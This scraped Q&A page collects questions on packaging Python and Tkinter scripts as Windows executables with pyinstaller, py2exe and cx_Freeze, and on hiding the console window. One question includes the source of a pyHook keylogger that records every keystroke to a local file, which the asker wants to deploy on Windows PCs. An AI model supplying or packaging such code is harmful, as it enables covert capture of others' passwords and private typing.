my GUI doesn't run as executable using pyinstaller? - python-3.x

I've used pyinstaller to convert my Tkinter GUI to an executable file. When I run the exe through command prompt, it reads it but does nothing (I know it reads it because when it has errors they are shown). I'm very new to programming so I wrote a simpler script to generate a window only, converted this to exe and encountered the same problem. Any fundamental rules I'm not aware of that will correct this? Here's the simple code:
import tkinter
from tkinter import *
import os
import sys
def startup():
global CODES
CODES = Tk()
CODES.title("TEST WINDOW - PYTHON EXECUTABLE")
CODES.geometry("1555x569+20+20")
return CODES.mainloop
startup()
Saved it as "test.py", converted to exe by "pyinstaller test.py -F" in Command Prompt. When run, it just pauses then returns to Command Prompt

Related

Run a Fortran exe in Python

I am facing with an automation problem in Python. I am pretty new in using the subprocess module that I intend to use for this task. I am working with Python 3.8 and Windows 10. I have a .exe program that I want to run inside a python script. With the following commands:
import sys, string, os, subprocess
from subprocess import PIPE, Popen, STDOUT, STARTUPINFO
s = Popen("my_fortran_code.exe", stdin=PIPE, stdout=PIPE, stderr=PIPE, shell = True)
I successfully start the executable Fortran code but, after that, the code needs some user inputs from the keyboard interactively. I tried to pass the inputs using communicate as follows:
out = s.communicate(input=b'1\n0\n1\nfile_name\n')[0]
but the Fortran code doesn't receive the inputs.
Some suggestions about this problem?
Thanks a lot!

Python3 interactive mode on Linux launches the codes twice

I have written a chess program in Python 3.4.3 and I am running the Python 3 interpreter in the interactive mode as follows:
python3 -i chess.py
However, the code after the class definitions get invoked twice and I do not know why. My code is on pastebin
You should remove the line from chess import * that is at the end of the file, it should not be needed.
Also, it is common to make sure that some of the code is not executed unless the code in the module is executed as a script.
if __name__ == '__main__':
# Not executed if the module is imported
g = Game()

Using py2exe by just running the script, no command-line

I know there's already a question like this but the answer didn't work for me.
When I append the py2exe argument in the program, and run it, I noticed it's missing a bunch of files. Also when I run the exe, it says
File "boot_common.py", line 46 in <module>
ImportError: No module named 'ctypes'
Can anyone help me on how to fix this? Here's my code:
from distutils.core import setup
import py2exe, sys
import tkinter as tk
from tkinter import filedialog
input('Press Enter to continue and select your Python file you want to convert when the dialog shows up...')
tk.Tk().withdraw()
file_path = tk.filedialog.askopenfilename()
sys.argv.append("py2exe")
setup(console=[file_path])
Also if it helps, I'm using a 32-bit Python interpreter.

cx_Freeze program created from python won't run

I am trying to create a .exe version of a python keylogger program that I found on the internet, so it can be run on Windows pc's without python installed.
The code for the program as is follows:
import pythoncom, pyHook, sys, logging
LOG_FILENAME = 'C:\\important\\file.txt'
def Key_Press(Char):
logging.basicConfig(filename=LOG_FILENAME,level=logging.DEBUG,format='%(message)s')
if Char.Ascii==27:
logging.log(10,'ESC')
elif Char.Ascii==8:
logging.log(10,'BACKSPACE'
else:
logging.log(10,chr(Char.Ascii))
if chr(Char.Ascii)=='¬':
exit()
return True
hm=pyHook.HookManager()
hm.KeyDown=Key_Press
hm.HookKeyboard()
pythoncom.PumpMessages()
After the .exe file has been created using the build function of cx_Freeze, the following error occurs in a separate error box when I run the file:
Cannot import traceback module
Exception: cannot import name MAXREPEAT
Original Exception: cannot import name MAXREPEAT
I don't have much knowledge of cx_Freeze at all, and would very much appreciate any help, as even when I have tried using simple programs such as a hello_world.py program, the .exe file doesn't appear to work.

Hide console window with Tkinter and cx_Freeze

I am using cx_freeze to freeze a tkinter app. When I run the exe I get a wonderfully USELESS console window along with my tkinter GUI.
I would like to remove/hide this useless black window.
I've seen threads that suggest the following:
root = tkinter.Tk()
root.withdraw()
The above code does the opposite of what I want. It hides my GUI, while the useless black window remains. I would like it to be the other way around.
I remember reading somewhere that on Windows if you specify your file extension as .pyw, it will launch with pythonw.exe (without a console window). Does that work for you?
This question is very similar, but for wxPython and cx_Freeze. Fortunately, it turns out that the appearance of the console can be configured from the build script, rather than source code. Borrowing from the top two answers, the trick is setting the base variable in your cx_Freeze build script:
import sys
from cx_Freeze import setup, Executable
base = None
if (sys.platform == "win32"):
base = "Win32GUI" # Tells the build script to hide the console.
# <The rest of your build script goes here.>
Here is the relevant documentation (although it does not explicitly mention that base controls the console option).
Also, just because it's interesting, an answer to a different question solves the issue of creating a GUI app with or without a console mode option, which I thought was very cool.
Do exactly just like gary said, then:
setup(name="ur package name",
version="ur package version",
description="as above",
executables=[Executable("ur_script.py", base=base)]
This will work cx_Freeze
If using pyinstaller use pyinstaller-gui.py
In Windows command line type
python pyinstaller-gui.py
This will first say "Please use just 'pyinstaller.py'. Gui is not maintained." Change the code l'il bit and you will be able to run this.
It will show pop up a window to select your script and some checkboxex. Check on 'no console(windows only)
That's it. You are done!
Another option: use --noconsole option while building. i.e:
python pyinstaller.py --noconsole yourscript.py
I had the same problem today
What i was using to compile my python programs was py2exe and the fix was very simple modify the setup file as shown below. My interface is written with Tkinter
modify the "setup.py" py2exe script from:
Old Python Code:
from distutils.core import setup
import py2exe
setup(console=['app.py'])
New Python Code:
from distutils.core import setup
import py2exe
setup(windows=['app.py'])
After i did this and reran my setup script the application loaded and did not show the console window. The only thing with this is if you have your application sending print commands to the console window you will not see theme. I hope this helps.
For me using the option --base-name Win32GUI works. Here is an example:
cxfreeze your_python_file.py --base-name Win32GUI --target-dir your_target_dir
I'm assuming by "black window" you are referring to the terminal window. In order to disable this from popping up, save your file as a .pyw extension instead of .py

Resources